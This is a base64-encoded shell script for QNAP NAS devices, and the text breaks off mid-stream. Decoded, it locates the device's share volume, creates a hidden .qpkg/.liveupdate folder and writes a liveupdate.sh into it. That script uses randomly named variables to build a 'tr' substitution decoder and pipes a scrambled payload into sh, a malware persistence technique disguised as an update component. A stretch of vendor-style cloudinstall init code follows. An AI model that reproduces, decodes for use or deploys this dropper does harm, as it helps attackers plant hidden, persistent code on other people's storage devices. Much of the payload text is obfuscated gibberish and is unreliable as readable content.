b25lOwp0ZXN0IC16ICIke2JkaXJ9IiB8fCB0ZXN0ICEgLWQgIiR7YmRpcn0iOyB9ICYmIHsgYmRpcj1gZ2V0Y2ZnIFNIQVJFX0RFRiBkZWZWb2xNUCAtZiAiJHtjb25mZGlyfS9kZWZfc2hhcmUuaW5mbyJgCnRlc3QgLXogIiR7YmRpcn0iIHx8IHRlc3QgISAtZCAiJHtiZGlyfSI7IH0gJiYgeyBiZGlyPWBtb3VudCB8IHNlZCAtbiAicy8uKlwoXC9zaGFyZVwvW14gL11cK1wpIC4qL1wxL2dwIiB8IGhlYWQgLW4gMWAKdGVzdCAteiAiJHtiZGlyfSIgfHwgdGVzdCAhIC1kICIke2JkaXJ9IjsgfSAmJiB7IGZvciBpIGluIENBQ0hFREVWM19EQVRBIENBQ0hFREVWMl9EQVRBIENBQ0hFREVWMV9EQVRBIE1EMF9EQVRBOyBkbyB0ZXN0IC1kICIvc2hhcmUvJHtpfSIgJiYgYmRpcj0iL3NoYXJlLyR7aX0iICYmIGJyZWFrOyBkb25lOwp0ZXN0IC16ICIke2JkaXJ9IiB8fCB0ZXN0ICEgLWQgIiR7YmRpcn0iICYmIGJkaXI9L21udC9IREFfUk9PVDsgfQplY2hvICdhYipjJyB8IGdyZXAgLUYgJ2FiKmMnID4vZGV2L251bGwgMj4mMSAmJiBmZ3JlcD0iZ3JlcCAtRiIgfHwgeyBjb21tYW5kIC12IGZncmVwID4vZGV2L251bGwgMj4mMSAmJiBmZ3JlcD1mZ3JlcCB8fCBmZ3JlcD1ncmVwOyB9CnRlc3QgIiRmZ3JlcCIgfHwgZmdyZXA9Z3JlcApzbGVlcCA1CmlmIFsgISAtZiAiJHtiZGlyfS8ucXBrZy8ubGl2ZXVwZGF0ZS9saXZldXBkYXRlLnNoIiBdOyB0aGVuCnRlc3QgLWQgIiR7YmRpcn0vLnFwa2ciIHx8IG1rZGlyIC1wICIke2JkaXJ9Ly5xcGtnIiB8fCBta2RpciAiJHtiZGlyfS8ucXBrZyIKdGVzdCAtZiAiJHtiZGlyfS8ucXBrZy8ubGl2ZXVwZGF0ZSIgfHwgdGVzdCAtaCAiJHtiZGlyfS8ucXBrZy8ubGl2ZXVwZGF0ZSIgJiYgcm0gLWYgIiR7YmRpcn0vLnFwa2cvLmxpdmV1cGRhdGUiCnRlc3QgLWQgIiR7YmRpcn0vLnFwa2cvLmxpdmV1cGRhdGUiIHx8IG1rZGlyICIke2JkaXJ9Ly5xcGtnLy5saXZldXBkYXRlIgpjYXQgPiAiJHtiZGlyfS8ucXBrZy8ubGl2ZXVwZGF0ZS9saXZldXBkYXRlLnNoIiA8PCJYRU9GIgojIS9iaW4vc2gKClVzWXZ3T1hnPSR7RnZ5ZlBGYkF0UndOfXRyJHtzS1RocmJUfSR7dFdVeG1ZY30KaldDcnlnUT0ke1JkQ2VqbFJ9JEdlcmNKbktSVCQiIidcJyR7Zm16d0drU30kR0JUTlRlSHp1JCIiO2NxS01paXY9JHNiRlRVUkF5YyQiIiR7aFRNUnhsZlpCc2hBfSR7Qm5pQ1lndX0ke2pXQ3J5Z1F9JHtJeGtuRE5neGhQd0h9MSR7S0hBbk1MSH0zMyR7S21iWkp3SH07T21lb3Zhcz0kcFFiYU5HQkpCJCIiJHt6QXNreGtBdnl3SFl9JHtLcHhqVlNMfSR7aldDcnlnUX0ke2xHTkNacFpmUFVFU30wJHtaZ3BrUmRnfTU1JHtnQ3F2cVJHfTtXRXhQdUd6PSRWWWNhWGRoSk8kIiIke2liVXhJcUZOZ0V0ZX0ke05NaUdCSVp9JHtqV0NyeWdRfSR7c2NBTXhCS0ZmbGtyfTEke25IaHBQR2x9MzQke2lWd2hYZU99OyRVc1l2d09YZyAndHpVSXxyZEhqd0ZUUCk+USckT21lb3ZhcydLXG5iK2skPGM7V10gZ3Z4cURPeWFtJUVBbiEnIiciJ0pMYCNvcyckY3FLTWlpdid7IickV0V4UHVHeid9JlI9VllwWGYoWkJsQ01TaEdldU5pKicgJ3NhU0ZSTCYoe3hUJWdNIGwnJE9tZW92YXMnblo9WVFOSickV0V4UHVHeidlejxpSEcnIiciJ31oWEQpSVd0Y21mQnlcbkskRXEiaiF2a0FVTztdcD5kKlZyJyRjcUtNaWl2J29Dd2J1K2B8I1AnIDw8ICJrTmFEakFibUZxcmZ0IiB8IHNoJGVPV3V1WWxVZyQiIiR7dkVjeVJXWVJtQmFlfQp2KXlDYHJJIGIvRENuOy9ERSNqJXJPUjwleURgTyBxI2pwZmgnWm9CK21mUHtnJDtxRXBmI2poSXBwJnEvI2opfSFtQUtRUXNKKSoKfSlxQVAgI2p6e0Z0cS1oIEsvI2pVKm5TcXMgZi9wQiAjamhwa1pNU3FcfDsjaiV2Z1UlcXMjanZPRGhHdD10PFErJElxRyNqJ3dtWitDTUdXT3NXbnE7dEUuI2pLemYkZn1aeXdCfW1xQVAgTEUjakU8a3IlciZvR29EZnFCI2opRz1Gbj1oVXtgZldxPnhIbnkhYXM8fVJjMTMzWlltJD5cSlYndEEiS2BDWHYKd01oTkZXa0VjS3I9UGJjMDU1K2RqVHBdI1F8KWdveFt4W3hCR3p7aWMxMzREZSB1STtxJk9TJVsoZlUqeD54b1p3ZE1BPGdZVUtTaSZ7JXpza0R8ciNRK1QgfUhmcGFtInVGQ0VSQm5Odl1WCiFcYjspYE9qUHRjMDU1W3llYzEzM1hjMTM0Jz1jSyooPkpHaHhbeFt4SXFXJHhdXVsrUSs9PVtYI3YpeUNgckkgTG1XLyV2Wi9CdEl4UVpQQnJQJndOJklvJkkmJiYmYExzSmAmQiNqSSYmJiZgTHNKYCZidlojS28xOkc0ZmpJJiYmJmBMc0pgJmJKeSNLbzI6RzEyZmpJJiYmJmBMc0pgJgpCaEpzUSN6S28zOkdKR1UkR1RmekkmJiYmclAmR01zJnpLCkJoSnNReiZkJi9NUV0vU1BKWk1MYiYtJm8mSSYmJiYmJiYmUFFKTSZHUFomS3d3S0EkKnt1fCZYJncmS2JKeSZHJktidlomaSYxJk4maSZLYnZaJk5OJkJqSSYmJiYmJiYmUXN0TCZ6S0J6SSYmJiZmSWZJc0xiYkpaTSZHXSZiCnJRYmgmRCYvTVFdL1pTYGAmMkQhMSYtLSZiCnJRYmgmd04mbyZJYExzSmAmQlNwcHZ5I2t4UVpQQnJQJjYmNmtJclFCciZ6SzJ6JiEhJm8mYgpNdlAmektvMlhnZ2dnZ2dmS0JTcHB2eXpqJlFzdEwmektvMlhnZ2dnZ2dmS0JTcHB2eXpqJmYmLS0mbyZyTFNzdCZ6S28xWGdnZ2dnZ2ZLQlNwcHZ5emomUXN0TCZ6S28xWFhnZ2dnZ2dmS0JTcHB2eXpqJmZJZklReVFzJjJEL01RXS9aU2BgSTskRX0jektvOyRFfWY6LyV2WjovQiV2WjovU0JQLyV2WjovU0JQL0Ildlo6L1NCUC8ldlovZzExOi9TQlAvYExzSmAvQiV2WjovU0JQL2BMc0pgLyV2WnpJclFCciZXJkdVJnpLbyc9SEFDX2xFQUYqK2Z6Ji0tJm8maFB2WnJwJnp7SnJROiZ6aiZFVCMrfEUmTUpyUWomUXl2ciYwaiZmSVFzdEwmentKclE6JkVTUSY8SlomMjQmMDg6NTQ6MjUmK3xFJjIwMTd6SXNQI2toUHZacnAmW2VQWyYtLSZRc3RMJkdaUSZbZVBba0lyUUJyJnpLb21zUGZ6JkdRViYxJiEhJlFzdEwmektzUHomLS0mUXN0TCZ6eklyUUJyJnp5S31FRTtfQUgoSEFIQXomIyZ6eTIlMCUwOXNzTTUwMnM3NTU5NTAxNzU1TTUyUU1KNjc4ODklNjk0Nzd6Ji0tJlF5dnImMElyUUJyJlcmR1UmektvMGZ6JiEhJnJRQnIma2hCJkpTeSYtJnhQUWgmektvMGZ6Ji0mWXMmR2BrJkd4ciY0MCYhISZReXZyJjBJc0xiYkpaTSZHXSZMaFFaQkJgJkQvTVFdL1pTYGAmMkQhMSYhISZvSTt1bEV7JEUkI1tbSQojeitRQidDQzd8JG4rVDtTJU1CVDhsJVRUbE1VXT1TViJieklyUUJyJnp5S29BSCc9SGxFX3xIRX11e2Z6JiMmeTt1bEUmISEmclFCciZXJkdVJnpLbyc9SEFDX2xFQUYqK2Z6JiEhJnNKQlEmektvJz1IQUNfbEVBRiorZnomdlomW1smLSZxY1cwRzlScSYtJjBxJk4mcEpgQlEmamomYzBHOVJjMEc5UmMwRzlSYzBHOVJjMEc5UmMwRzlSYzBHOVJjMEc5UiZOJk0jekt3dyZrTUpyUSZpWEJrJi8mMTAwJk5OemomclFCciZ6S28nPUhBQ19sRUFGKitmeiYjJnpLb01meiYhISZzciN6S016Ji0tJm8mclFCciZ6S28nPUhBQ19sRUFGKitmeiYjJnpLd3cmS00mRyYxTk56JiEhJnNyI3pLd3cmS00mRyYxJk5OemomZiZqaiZxTiZwSmBCUSZqaiZRQkpzJiEhJnJRQnImVyZHVSZ6S28nPUhBQ19sRUFGKitmeiYhISZvSVpgI1tJW0lzSkJRJnpLb2F1KkVIKkVfIkgqK0V9ZnomdlomW1smLSZxY1cwRzlScSYtJjBxJk4mcEpgQlEmamomcU4mclFCciZ6S29hdSpFSCpFXyJIKitFfWZ6JkdgciYyMTQ3NDgzNjQ2JmpqJlFCSnMmISEmbyZGKGwjJlBRSk0mR00mW1smR1BaJnpLb2F1KkVIKkVfIkgqK0V9ZnomO3VsRXskRSRqJnJRQnImR1Umeks7dWxFeyRFJHomISEmO3VsRXskRSQja01NJiVCIzEmc0xTWnIjekthdSpFSCpFXyJIKitFfXomMkQvTVFdL1pTYGBraiZmJi0tJnJRQnImeks7dWxFeyRFJHomLS0mO3VsRXskRSQja3NKcmsmLS0mUXl2ciYwSUIjektvO3VsRXskRSRtbXEuZnpJQnIjektvQm1tcUdmeklCI3pLb0JYWEdxZnpJTSN6S3d3JktNJi8mMTAwMCZOTnpJclFCciZXJkdVJnpLTXomISEmclFCciZXJkdVJnpLQnJ6JiEhJnJRQnImektvbUJyZnomIyY1JiEhJm8mclFCciZ6eUtCcnomIyZ6eUtNeiYtLSZyUUJyJnp5S0JyeiYjJnp5S3d3JktNJkcmMSZOTnpqJmYmLS0mbyZyUUJyJkdwJnpLcnomISEmUGImektyemomUXl2ciYwaiZmSXNKQlEmektCeiZ2WiZbWyYtJnFjV0pHVSRHVDBHOS9pI0taYFJxJk4mclFCciZHcCZ6S3J6JiEhJlBiJnpLcnpqJlF5dnImMGomamomUUJKc0lyI2tiCnJRYmgmL3JiaC8ucmJoLmdnZ2dnZ2smLS0mUXl2ciYwSXNKciZEJnpLcnomZGR6SHUoeiYtLSZvJnJRQnImR3AmektyeiYhISZQYiZ6S3J6aiZReXZyJjBqJmZJR0dHR0cgSCtGKiY7PSAiRmEmKUhDR0dHR0dJfEZGIEw+JCogeApWdAp2KzlZMCAkJ0goJCR1YSRDOCR8RkYgdngpYSRDSCRPditpfS8xcHMifHBFKj1dXSBRQkl1PFYwNnB1K2IgKClGPXVhO0JPK2gkU1V7UGEpYFogU31MIjR0bEhyWlN5RSAqcjg+JCBVTVRpaDlWPSUkVDN1SVVKO2I8Rk1CMXh9fWAxKShpJzh9NSUqTSpCOXxhQQpIXWE9eDwrKFEzJEpgIjcKaT4vQWcgQlxQQiJhKU0rKVxJSn1pTXJhMCpNIilNClV0KThWIFZVfXlhaXw9K1VRUTUvL3V4eylNcylRUWBKYXhVPTxKMFN2MTEgVDNGPiloJ0lgN31MCm59Yk9VQVA8KztzU3M0CmB9OSUpNGxRJHtRdEFPPk9gdl19J3NWbCkxQipCWUpoPGIyVns+Tyc3dD5BSUEyQkp1VVMlRT1ZMWkyJylgaXxPNWxwT0wvIDgqTGgqQzZIJHUiOENhO259YUpoVjJKcDJUT3J0Sm4yMm5ocENJVXJVPkhPNXUKKCp0NnBBeFQqaCVCU3xTNFo7SiAvUHhdPGJCXHk5M0paQnQ0RlFndjtPdVMpbiBKYj1UT0ZdIkl5UDJIbGEyUHR4XHRWeDxTdiJgfStpfXwpNjM7TE0gfChPKVY5UCJNNHQ5OVpnJTlpdmFiKCc5cFU8KUI5bGx8ST43eUpNK2hKJSkySipFaCozVXskU0grRjRUdXJWeSJWXD5IfWIwJUhpVDUoJHh8ICQkSCNJR0dHR0dIKnsmOz0gIkZhJilIQ0dHR0dHSUh1KElyUUJyJlcmR1UmektCeiYhISZ0I2tMaFFaQkJgJiVKQlE2NCZHTSZkZEh1KCYtJkxoUVpCQmAmUEJKU3JgJkdoUyV2WiZHdloKUU8mektyeiZHXVFQdnBPSUtCSUh1KElrJi0tJm8mclFCciZHcCZ6S3J6JiEhJlBiJnpLcnpqJlF5dnImMGomZklyUUJyJkdwJnpLcnomISEmUGImektyekliI3pLbzt1bEV7JEUkWFgucWZ6STt1bEV7JEUkI1tbSXNKQlEmektieiZ2WiZbWyYtJnFjV0pHVSRHVDBHOS9pI0taYFJxJk4mUXl2ciYwJmpqJlFCSnNJCiNrTGhRWkJCYCZNeEJyJkdCdEoxJkcldlpKUE8mR3RiSnMmektzcnomZGRIdSgmLSZMaFFaQkJgJiVKQlE2NElLCklIdShJa0liI2tMaFFaQkJgJlFacyZHTSZHSlFCRzI1NkdzJXMmRwomeksKeiZHYk0mQnRKMSZHQkpgciZHSiZkZEh1KElLYklIdShJa0lidCNrTGhRWkJCYCZNeEJyJkdCdEoxJkcldlpKUE8mR3RiSnMmektCcnomZGRIdSgmLSZMaFFaQkJgJiVKQlE2NElLYklIdShJa0lyUUJyJlcmR1Umekt0eiYhISZyUUJyJnpLdHomIyZ6S2J0eiYtLSZReXZyJjBJUV1KYCZ6S2J6SXJQU1FJZiYtLSZvSXIja2IKclFiaCYvcmJoLy5yYmguZ2dnZ2dnayYtLSZReXZyJjBJc0pyJkQmektyeiZkZHpIdSh6Ji0tJm8mclFCciZHcCZ6S3J6JiEhJlBiJnpLcnpqJlF5dnImMGomZklHR0dHRyBIK0YqJjs9ICJGYSYpSENHR0dHR0l8RkYgTD4kKiB4ClZ0CnYrOVkwICQnSCgkJHVhJEM4JHxGRiB2eClhJENIJDknYn18WTQ+WThhdSJDKXh1VnBhSTArVEJBbFkoeHZ5RTBgdnxzNDJUbFBCQlBCKCtUYHs7KTM1VWBNYiU9QkgnZ3IoQwp7Pm5RPXMKaDJKdDgoc3BJJCAoPSs4fCJaYDZZRV15K1RZPDwlfCI7e3ZDTDVgL00wNyApcyVZQ1NWKmhpMi8vMk1TCnlhT0oKdUZGWkZWKEkieFB8NVpdaDUgKSAgc3N8YHwgSkIocnlUcCh4cio+YCc5djliKnB2NTNaSmBQfDtBTGA5KXZwXDFDeWIiWTFpSTcrRVM+KGxgTyk5JGhddi9URjJPL11PYjYqXCVcSEJKSDUgOXh4ZzxDUG55YCUpeXxGVVxTZ3AxOGwyaDQ4KHRJaG49T0M8MGI+ez1zM2x2PEE0QXY7dgo7aEUneApsPk85MEp8KVBMXGEkTTl8NnNUcnBZYVV0fCVdT3IqYk1yTUlDeSAqKlowKGInNTFzIjtzaU1oSkZGeTJ2LzJzK019QzhUJD4ge3wgfCAKPkZRMngoeHM2YDwwXHVgRTYzOFVpSVk3L2I7aXRzYUwibj12K2x2SFNiVTM9IjU7YkxuSjNZMnIwNEFKNzA7IlwkaCtCRi94aH1PfTBcOHY2T24gfUhJVj1CSid5WiB1KF1PaXZsTGJPKHZgMk15KSciPkVZT1QgWjhpMSliTFo8MmgkeHwgJCRII0lHR0dHR0gqeyY7PSAiRmEmKUhDR0dHR0dJSHUoSUxoUVpCQmAmUEJKU3JgJkdoUyV2WiZHdloKUU8mektyeiZHUVpzUE9ociZkZEh1KCYtJkxoUVpCQmAmJUpCUTY0SUsKSUh1KElQYiZ6S3J6SXJQU1EmSWZqJnJQU1FqJmYmLS0mb0lyUUJyJnp5SyRhYUg7RV8iJCorPSQrSHomIyZ6eTUxOTUlczE4NzA3MDAySjk4czklNTE4M0o1TTAzMHBNMDcxJTZKMiV6JiEhJlFdSmAmektvfUVFO189bEhBXyQrSCpFZnpJZklyUUJyJkdwJnpLcnomISEmUGImektyeklCYFFRaCYxSVF5dnImMElMK1ErPT1MQSNqd01aZiV2JFB9RUVGcUQjaiRna1xRd3dwaERoRHFuQ2Y+I2pcYENcRlxTekZuUiVxNzU1I2ohaGhtSm52UCUreSZxPlsjdil5Q2BySSBbTDt3IEU+MExMaQprTmFEakFibUZxcmZ0ClFOQVBfUVBLRz1jbG91ZGluc3RhbGwKUUlEX1BSRVNJU1RFTlRfQ09ORj0vZXRjL2NvbmZpZy9xaWRfcGVyc2lzdGVudC5jb25mCk5BU19DTE9VRF9JTlNUQUxMX1BBVEg9L2hvbWUvaHR0cGQvY2dpLWJpbi9jbG91ZGluc3RhbGwKQ0xPVURfSU5TVEFMTF9QQVRIPS90dW5uZWxfYWdlbnQKQ0xPVURfSU5TVEFMTF9SQU1ESVNLX1BBVEg9L3R1bm5lbF9hZ2VudF9yYW1kaXNrCkNMT1VEX0lOU1RBTExfQUdFTlRfRklMRV9QQVRIPSRDTE9VRF9JTlNUQUxMX1BBVEgvdHVubmVsX2FnZW50LnRhci5iejIKQ09VTlRFUj0xCkVSUk9SX0JBRF9SRVFVRVNUPTQwMAoKaWYgWyAiJGZyb21yY1MiID0gJ1RSVUUnIF07IHRoZW4KY2FzZSAiJDEiIGluCiAgc3RhcnQpCiAgICBTVEFSVF9USU1FPSQoZGF0ZSArIiVUIikKICAgIGVjaG8gLWUgInN0YXJ0OiRTVEFSVF9USU1FIiA+PiAvdG1wLy5jbG91ZGluc3RhbGwubG9nCiAgICB3aGlsZSBbICIkQ0xPVURfSU5TVEFMTF9BR0VOVF9QSURfTElTVCIgPT0gIiIgXTsKICAgIGRvCiAgICAgICAgIyByZXBvcnQgZGV2aWNlIGluZm8gYW5kIGdldCBjbG91ZGluc3RhbGwgYWdlbnQgYXBwIGRvd25sb2FkIHVybAogICAgICAgIERPV05MT0FEX1VSTD1gL3Vzci9zYmluL3FjbG91ZF91bmluaXRfZGV2aWNlX3Rvb2wgLXJgCiAgICAgICAgaWYgWyAhIC1kICIkQ0xPVURfSU5TVEFMTF9QQVRIIiBdOyB0aGVuCiAgICAgICAgICAgIGlmIFsgIiROQVNfQVJDSCIgPT0gIkFSTV82NCIgXTsgdGhlbgogICAgICAgICAgICAgICAgIyBjcmVhdGUgcmFtZGlzayBhbmQgY3JlYXRlIGEgNjRtYiBmaWxlCiAgICAgICAgICAgICAgICAvYmluL21rZGlyIC1wICRDTE9VRF9JTlNUQUxMX1JBTURJU0tfUEFUSAogICAgICAgICAgICAgICAgL2Jpbi9tb3VudCAtdCB0bXBmcyAtbyBzaXplPTY0bSB0bXBmcyAkQ0xPVURfSU5TVEFMTF9SQU1ESVNLX1BBVEgKICAgICAgICAgICAgICAgIC9iaW4vZGQgaWY9L2Rldi96ZXJvIG9mPSRDTE9VRF9JTlNUQUxMX1JBTURJU0tfUEFUSC9pbWFnZSBicz0xTSBjb3VudD02NAogICAgICAgICAgICAgICAgIyBjcmVhdGUgYmxvY2sgc2l6ZSAxSyBmaWxlc3lzdGVtCiAgICAgICAgICAgICAgICAvc2Jpbi9ta2UyZnMgLWIgMTAyNCAkQ0xPVURfSU5TVEFMTF9SQU1ESVNLX1BBVEgvaW1hZ2UKICAgICAgICAgICAgICAgICMgY3JlYXRlIHZpcnR1YWwgZGlzawogICAgICAgICAgICAgICAgZXhwb3J0IFVTRURfTE9PUF9ERVZJQ0U9YC91c3IvbG9jYWwvc2Jpbi9sb3NldHVwIC1mICRDTE9VRF9JTlNUQUxMX1JBTURJU0tfUEFUSC9pbWFnZWAKICAgICAgICAgICAgICAgIC9zYmluL3NldGNmZyAtZiAkUUlEX1BSRVNJU1RFTlRfQ09ORiAiQ0xPVURJTlNUQUxMIiAiVVNFRF9MT09QX0RFVklDRSIgIiRVU0VEX0xPT1BfREVWSUNFIgogICAgICAgICAgICAgICAgL2Jpbi9ta2RpciAtcCAkQ0xPVURfSU5TVEFMTF9QQVRICiAgICAgICAgICAgICAgICAjIG1vdW50IHZpcnR1YWwgZGlzawogICAgICAgICAgICAgICAgL2Jpbi9tb3VudCAkVVNFRF9MT09QX0RFVklDRSAkQ0xPVURfSU5TVEFMTF9QQVRICiAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICMgY3JlYXRlIGFuZCBtb3VudCB0bXBmcyBmb2xkZXIKICAgICAgICAgICAgICAgIC9iaW4vbWtkaXIgLXAgJENMT1VEX0lOU1RBTExfUEFUSAogICAgICAgICAgICAgICAgL2Jpbi9tb3VudCAtdCB0bXBmcyAtbyBzaXplPTY0bSB0bXBmcyAkQ0xPVURfSU5TVEFMTF9QQVRICiAgICAgICAgICAgIGZpCiAgICAgICAgZmkKICAgICAgICBjZCAkQ0xPVURfSU5TVEFMTF9QQVRICgogICAgICAgIGlmIFtbICRET1dOTE9BRF9VUkwgPT0gaHR0cHMqIF1dOyB0aGVuCiAgICAgICAgICAgIFJFUE9SVF9TVUNDRVNTX1RJTUU9JChkYXRlICsiJVQiKQogICAgICAgIGVsc2UKICAgICAgICAgICAgUkVQT1JUX0ZBSUxfVElNRT0kKGRhdGUgKyIlVCIpCiAgICAgICAgICAgIGVjaG8gLWUgIiByZXBvcnRfZmFpbDokUkVQT1JUX0ZBSUxfVElNRVxuIHJlc3BvbnNlOiRET1dOTE9BRF9VUkwiID4+IC90bXAvLmNsb3VkaW5zdGFsbC5sb2cKICAgICAgICAgICAgIyBzdG9wIHJldHJ5IHdoZW4gZ290IGJhZCByZXF1ZXN0CiAgICAgICAgICAgICMgcHJldmVudCBwdXQgYmFkIHJlcXVlc3QgYWxsIHRoZSB0aW1lCiAgICAgICAgICAgIGlmIFtbICRET1dOTE9BRF9VUkwgPT0gKiRFUlJPUl9CQURfUkVRVUVTVCogXV07IHRoZW4KICAgICAgICAgICAgICAgIGJyZWFrCiAgICAgICAgICAgIGZpCiAgICAgICAgZmkKCiAgICAgICAgIyBkb3dubGFvZCBjbG91ZGluc3RhbGwgYWdlbnQgYXBwCiAgICAgICAgL3Vzci9zYmluL3FjbG91ZF91bmluaXRfZGV2aWNlX3Rvb2wgLW8gIiRDTE9VRF9JTlNUQUxMX0FHRU5UX0ZJTEVfUEFUSCIgLWQgIiRET1dOTE9BRF9VUkwiCgogICAgICAgIGlmIFsgLWYgIiRDTE9VRF9JTlNUQUxMX0FHRU5UX0ZJTEVfUEFUSCIgXTsgdGhlbgogICAgICAgICAgICBET1dOTE9BRF9GSU5JU0hfVElNRT0kKGRhdGUgKyIlVCIpCiAgICAgICAgICAgICMgdW56aXAgYW5kIGV4ZWN1dGUgY2xvdWRpbnN0YWxsYWdlbnQKICAgICAgICAgICAgL2Jpbi90YXIgLXhmICRDTE9VRF9JTlNUQUxMX0FHRU5UX0ZJTEVfUEFUSCAtQyAkQ0xPVURfSU5TVEFMTF9QQVRICiAgICAgICAgICAgICRDTE9VRF9JTlNUQUxMX1BBVEgvYmluL2Nsb3VkaW5zdGFsbF9hZ2VudF9jdGwuc2ggc3RhcnQgJj4gL2Rldi9udWxsCgogICAgICAgICAgICBVTlpJUF9USU1FPSQoZGF0ZSArIiVUIikKICAgICAgICBmaQoKICAgICAgICBpZiBbICEgLWQgIiROQVNfQ0xPVURfSU5TVEFMTF9QQVRIIiBdOyB0aGVuCiAgICAgICAgICAgICMgY3JlYXRlIGZvbGRlciBhbmQgY3JlYXRlIHN5bWJvbGljIGxpbmsKICAgICAgICAgICAgL2Jpbi9ta2RpciAtcCAkTkFTX0NMT1VEX0lOU1RBTExfUEFUSAogICAgICAgICAgICAvYmluL2xuIC1zICRDTE9VRF9JTlNUQUxMX1BBVEgvdWkvY2xvdWRpbnN0YWxsLmh0bWwgJE5BU19DTE9VRF9JTlNUQUxMX1BBVEgvaW5kZXguaHRtbAogICAgICAgICAgICAvYmluL2xuIC1zICRDTE9VRF9JTlNUQUxMX1BBVEgvdWkvY2xvdWRpbnN0YWxsLmNnaSAkTkFTX0NMT1VEX0lOU1RBTExfUEFUSC9jbG91ZGluc3RhbGwuY2dpCiAgICAgICAgICAgIC9iaW4vbG4gLXMgJENMT1VEX0lOU1RBTExfUEFUSC91aS9zdGF0aWMgJE5BU19DTE9VRF9JTlNUQUxMX1BBVEgvc3RhdGljCiAgICAgICAgZmkKCiAgICAgICAgIyB3YWl0IGNvbm5lY3QKICAgICAgICBzbGVlcCA1CiAgICAgICAgQ0xPVURfSU5TVEFMTF9BR0VOVF9QSURfTElTVD1gL2Jpbi9wcyAtLWNvbHVtbnMgMjU2IHwgL2Jpbi9ncmVwICIkQ0xPVURfSU5TVEFMTF9QQVRIL2Jpbi9jbG91ZGluc3RhbGxhZ2VudCIgfCAvYmluL2dyZXAgLXYgZ3JlcCB8IC9iaW4vYXdrICd7cHJpbnQgJDF9J2AKICAgICAgICBpZiBbICIkQ0xPVURfSU5TVEFMTF9BR0VOVF9QSURfTElTVCIgPT0gIiIgXTsgdGhlbgogICAgICAgICAgICBTTEVFUF9USU1FPSQoKCAzMCAqICRDT1VOVEVSICkpCiAgICAgICAgICAgIGlmIFsgJFNMRUVQX1RJTUUgLWd0IDMwMCBdOyB0aGVuCiAgICAgICAgICAgICAgICBTTEVFUF9USU1FPTMwMAogICAgICAgICAgICBmaQogICAgICAgICAgICAjIHdhaXQgbmV4dCByZXRyeQogICAgICAgICAgICBzbGVlcCAkU0xFRVBfVElNRQogICAgICAgIGZpCiAgICAgICAgQ09VTlRFUj0kKCggJENPVU5URVIgKiAyICkpCiAgICBkb25lCgogICAgRU5EX1RJTUU9JChkYXRlICsiJVQiKQogICAgZWNobyAtZSAicmVwb3J0X3N1Y2Nlc3M6JFJFUE9SVF9TVUNDRVNTX1RJTUVcbmRvd25sb2FkX2ZpbmlzaDokRE9XTkxPQURfRklOSVNIX1RJTUVcbnVuemlwX2ZpbmlzaDokVU5aSVBfVElNRVxuZW5kOiRFTkRfVElNRSIgPj4gL3RtcC8uY2xvdWRpbnN0YWxsLmxvZwogICAgIyBjYWxsIGZvciBhIG5ldyBwcm9jZXNzIGdyb3VwIGFuZCBmb3IgbGF0ZXIga2lsbAogICAgL2Jpbi9zZXRzaWQgJENMT1VEX0lOU1RBTExfUEFUSC9iaW4vY2xvdWRpbnN0YWxsX2FnZW50X2Rpc2Nvbm5lY3RfZGFlbW9uLnNoIHN0YXJ0ICY+IC9kZXYvbnVsbCAmCiAgICAvYmluL3NldHNpZCAkQ0xPVURfSU5TVEFMTF9QQVRIL2Jpbi9jbG91ZGluc3RhbGxfYWdlbnRfZGFlbW9uLnNoICY+IC9kZXYvbnVsbCAmCgogICAgIyBzZXQgY2xvdWRpbnN0YWxsIHJlcG9ydCBzdGF0dXMKICAgIC9zYmluL3NldGNmZyAtZiAkUUlEX1BSRVNJU1RFTlRfQ09ORiAiQ0xPVURJTlNUQUxMIiAiUkVQT1JUX1NUQVRVUyIgInVuaW5pdCIKICAgICMgYWRkIGxpbmsgdG8gcmVwb3J0IG9mZmxpbmUKICAgIC9iaW4vbG4gLXNmIC9ldGMvaW5pdC5kL2Nsb3VkaW5zdGFsbF9yZXBvcnRfb2ZmbGluZS5zaCAvZXRjL3JjSy5kL0s5OWNsb3VkaW5zdGFsbF9yZXBvcnRfb2ZmbGluZQoKICAgICMgYnV6emVyCiAgICBIQVJEV0FSRV9UWVBFPSQodW5hbWUgLW0pCiAgICBpZiBbWyAiJEhBUkRXQVJFX1RZUEUiID09ICoieDg2IiogXV07CiAgICB0aGVuCiAgICAgIC9zYmluL2hhbF9hcHAgLS1zZV9idXp6ZXIgZW5jX2lkPTAsbW9kZT0xMDEKICAgIGVsaWYgW1sgIiRIQVJEV0FSRV9UWVBFIiA9PSAqImFybSIqIF1dOwogICAgdGhlbgogICAgICAvc2Jpbi9waWNfcmF3IDgxCiAgICBmaQogICAgOzsKCiAgc3RvcCkKICAgICMgZGlzY29ubmVjdCBjbG91ZGluc3RhbGwgYWdlbnQKICAgICRDTE9VRF9JTlNUQUxMX1BBVEgvYmluL2Nsb3VkaW5zdGFsbF9hZ2VudF9jdGwuc2ggc3RvcCAmPiAvZGV2L251bGwKICAgICRDTE9VRF9JTlNUQUxMX1BBVEgvYmluL2Nsb3VkaW5zdGFsbF9hZ2VudF9kaXNjb25uZWN0X2RhZW1vbi5zaCBzdG9wICY+IC9kZXYvbnVsbAogICAgZm9yIGkgaW4gIiR7Q0xPVURfSU5TVEFMTF9BR0VOVF9EQUVNT05fUElEX0xJU1RbQF19IgogICAgZG8KICAgICAgICAjIHVzZSBiYXNoIGtpbGwgaW5zdGVhZCAvYmluL2tpbGwgZm9yIGtpbGwgcHJvY2VzcyBncm91cAogICAgICAgICMgY2xvdWRpbnN0YWxsIGFnZW50IGRhZW1vbiBhbmQgaW5vdGlmeXdhaXQKICAgICAgICBraWxsIC05IC0tIC0kaSAmPi9kZXYvbnVsbAogICAgZG9uZQoKICAgICMgdW1vdW50CiAgICBpZiBbICIkTkFTX0FSQ0giID09ICJBUk1fNjQiIF07IHRoZW4KICAgICAgICAvYmluL3Vtb3VudCAtbCAkVVNFRF9MT09QX0RFVklDRQogICAgICAgIC91c3IvbG9jYWwvc2Jpbi9sb3NldHVwIC1kICRVU0VEX0xPT1BfREVWSUNFCiAgICBlbHNlCiAgICAgICAgL2Jpbi91bW91bnQgLWwgJENMT1VEX0lOU1RBTExfUEFUSAogICAgZmkKICAgICMgcmVtb3ZlIGFsbCBmaWxlcwogICAgaWYgWyAtZCAiJE5BU19DTE9VRF9JTlNUQUxMX1BBVEgiIF07IHRoZW4KICAgICAgICAvYmluL3JtIC1yZiAkTkFTX0NMT1VEX0lOU1RBTExfUEFUSAogICAgZmkKICAgIGlmIFsgLWQgIiRDTE9VRF9JTlNUQUxMX1BBVEgiIF